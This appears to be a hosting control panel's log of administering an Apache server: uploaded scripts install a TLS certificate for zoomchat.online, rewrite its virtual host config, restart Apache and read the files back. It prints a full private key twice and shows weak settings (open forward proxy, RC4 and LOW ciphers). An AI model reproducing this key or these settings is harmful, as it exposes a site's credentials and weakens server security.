rm zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc
2025-12-27 06:00:21:
chmod 755 /tmp/pkp410541; /tmp/pkp410541; rm /tmp/pkp410541
2025-12-27 06:00:22:
2025-12-27 06:00:22: Establishing a connection
2025-12-27 06:00:23:
PUT: /tmp/pkp549656
#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt
cat > $temp_file <<'endmsg'
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
AZGF4NTgmv5Rs/Y4gHNiCMvIgZiDuaucn5/7C6UIglY4ZHhv5rtY+pGnghLHXGbo
Ano4FGWSCCYB9bSZfMO55cXEM/8nXq0Psj4iqgQGT/MSaQOEFJFbyZu+xCRvrKm9
0NbLwV0EAQKBgFZAwPTud6GaJ0bWSYRPHg6e59tqm7V2YF/o6cInwIqD/MfxxKqX
QLp52HjLhRSDtvohU6ORsxzh9Qckeh2P9zhL6GL8Ij6y9HTpvs0z9L3yXAssDPGx
7/J9mX7G9bFMv9LV73jguKbHf9GbyerwpUdDIOSFszNoxxkEfGDYD7SFAoGAGCJl
RNLe/2fPe0lrqNGKrIdVLTF6V3KFJxkJyn/uOvEp3k0CnbKZ7QjUWvshy0AS4ezR
J84YAnYSW19QbE4/3E0VfLddjerGGA2IU+cx4EosFv9+/hzz6XGXmQBGDEVRhbW/
bkFB9VLYqbKpgWnh6lIo7QqK26R0dtwq/PPqyAECgYB1OVqOwttvjGFPdyozz0Yr
a7a18LVeRAqHgHatvD17266NK/OM9haGVgHhUEZZwBQ8shhue9MKh4HsafRshNmS
nwR56KqHvuvC5/2HzTxqLvqdlbcGdF2Za1uYxWH3lI1o/C2trCIM+E1Pub/AJRCa
I/imWmG/liI6lszAEAnnUA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-27 06:00:24:
chmod 755 /tmp/pkp549656; /tmp/pkp549656; rm /tmp/pkp549656
2025-12-27 06:00:24:
dir=/etc/pki/tls/certs/
2025-12-27 06:00:24:
PUT: /tmp/pkp213833
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_online.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-27 06:00:25:
chmod 755 /tmp/pkp213833; /tmp/pkp213833; rm /tmp/pkp213833
2025-12-27 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2236
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-27 06:00:25:
PUT: /tmp/pkp665534
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_online.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi
2025-12-27 06:00:26:
chmod 755 /tmp/pkp665534; /tmp/pkp665534; rm /tmp/pkp665534
2025-12-27 06:00:26:
2025-12-27 06:00:26:
PUT: /tmp/pkp323669
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-27 06:00:27:
chmod 755 /tmp/pkp323669; /tmp/pkp323669; rm /tmp/pkp323669
2025-12-27 06:00:27:
.
2025-12-27 06:00:27: Establishing a connection
2025-12-27 06:00:28:
PUT: /tmp/pkp901386
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-27 06:00:30:
chmod 755 /tmp/pkp901386; /tmp/pkp901386; rm /tmp/pkp901386
2025-12-27 06:00:30:
[Sat Dec 27 06:00:30.234314 2025] [so:warn] [pid 2091667:tid 140636444432704] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Sat Dec 27 06:00:30.234314 2025] [so:warn] [pid 2091667:tid 140636444432704] AH01574: module status_module is already loaded, skipping
2025-12-27 06:00:30:
PUT: /tmp/pkp303694
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-27 06:00:30:
chmod 755 /tmp/pkp303694; /tmp/pkp303694; rm /tmp/pkp303694
2025-12-27 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2243
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-27 06:00:31:
PUT: /tmp/pkp859719
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-27 06:00:31:
chmod 755 /tmp/pkp859719; /tmp/pkp859719; rm /tmp/pkp859719
2025-12-27 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt 5374
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
o9Bb446v0FJiYp7ZkuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+Vy
htbVqpzrmM6gbTMMOJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG
/CS5QWHHI8xiu8rJoLsLAuM1AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFAC+o6alPADzhE3FEJu3T8kjE4phMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoITd3d3Lnpvb21jaGF0Lm9ubGlu
ZYIPem9vbWNoYXQub25saW5lMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNTcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbXmS9nwAABAMARjBEAiAIP7Lqgs8AixnRojRntLA7hx05kFDXSMoeq9z+
wG7MCwIgJylvbYdXeyDcUhAkjh8BEf4L04q1VvWRxN4OyKTDoz0AdQDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZteZL27AAAEAwBGMEQCICQRAuWR
g9GhRpDo7ADhwJh+RdO/lzhPV2MtOr3a61TvAiB+NhfmT6chP6S3feJMx5He6UjO
yNURsoOIifnetoBNWTANBgkqhkiG9w0BAQsFAAOCAQEAHFPdrG05uHwZA64uvukk
jkOMty5xXNKCdiPblhIsv4hwVIFL5UBhe837Epe9/68fnt+iOrNHf6EjWMXg+N80
2CpA4fAHTFBYELFdrHjZu6XZUG3fiFBJgQ5nA+bk/yovj9mjZEQCIY7EIF+2m/SW
rf+FtCIO0FyppBHAAy7lCjPMGpBKVEPQjZHN18czIjJQNmqjv1fqplWFXGGu/ll6
EnOgo5+N9I3KOv1cX3D41kMle2087w2yYyZPoQTxezXJ/MIUgMXBnsTVXPMVU/GC
WfuVZZzx4tHXX3ssaaluEMHVFZZmU/turFRfLk8QzYBCdsBitEq/3ZPwXcG3Bdfv
Rw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCmglMA5SSW+f2p
0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1Gj7FrlGh9OfdWOan
bj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd97nXeAVXK/n+VwRwJ
QeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kgo9Bb446v0FJiYp7Z
kuwmGkOym0f+iZnQZlcXVipK9aWgQU6HSPe5Q7XKT0/wf+VyhtbVqpzrmM6gbTMM
OJ+SG3NWxOB8GcFPnKqu5tKGkSM4JlWbk8pw49J51+sA09uG/CS5QWHHI8xiu8rJ
oLsLAuM1AgMBAAECggEAAVktapV/ribHWwUogd8fy79J9Wk5s6pOn/piWj9hUD6Q
0UfwHi44qhv2m+zPOkrFPyU/W7g7cqyeqH3KxZHzSbIkE90qNxvxn8WqKcKcIIMf
OtD5Y/KrGOsU8WxVXNuRwgmykDEZqNfNL7Alx11cOeiQtk8PoWuEhlX2k+Wsv0CS
eQywoKfQnTsuU0tl7ZixGhVIthkxCF7oqk0F8OjVmIsd/6mDxP+yzTXBcwivP3nz
lxtWyjiCn1SdPtoHfr2aE5dmhHKNMpxYPynF/4pD7ntw4QXDueLCVyn3TlDKLD5N
lljG4QQI+EKRhbJvfIIDugVvcsamT5FpjaYKGISsAQKBgQDf2FWeC+gytIP/xcY5
ChxXb02vrQbNjAbBIXXRUokkPyDvjXQWTS3o2hsX+ZJVd2dEqevBKWCvtmGYBpTw
cJ1BEC0UeQM41RRs8EtUn+gtFQPGyREJ1QOFowoxIWhTo1r/00GwQtdf1JkBSJGk
M4pyFyz55KV+i4lUVDH4e4UPNQKBgQC+bYUPuRshjun3Rk0fKpRAapH8Iv+Y1mj3
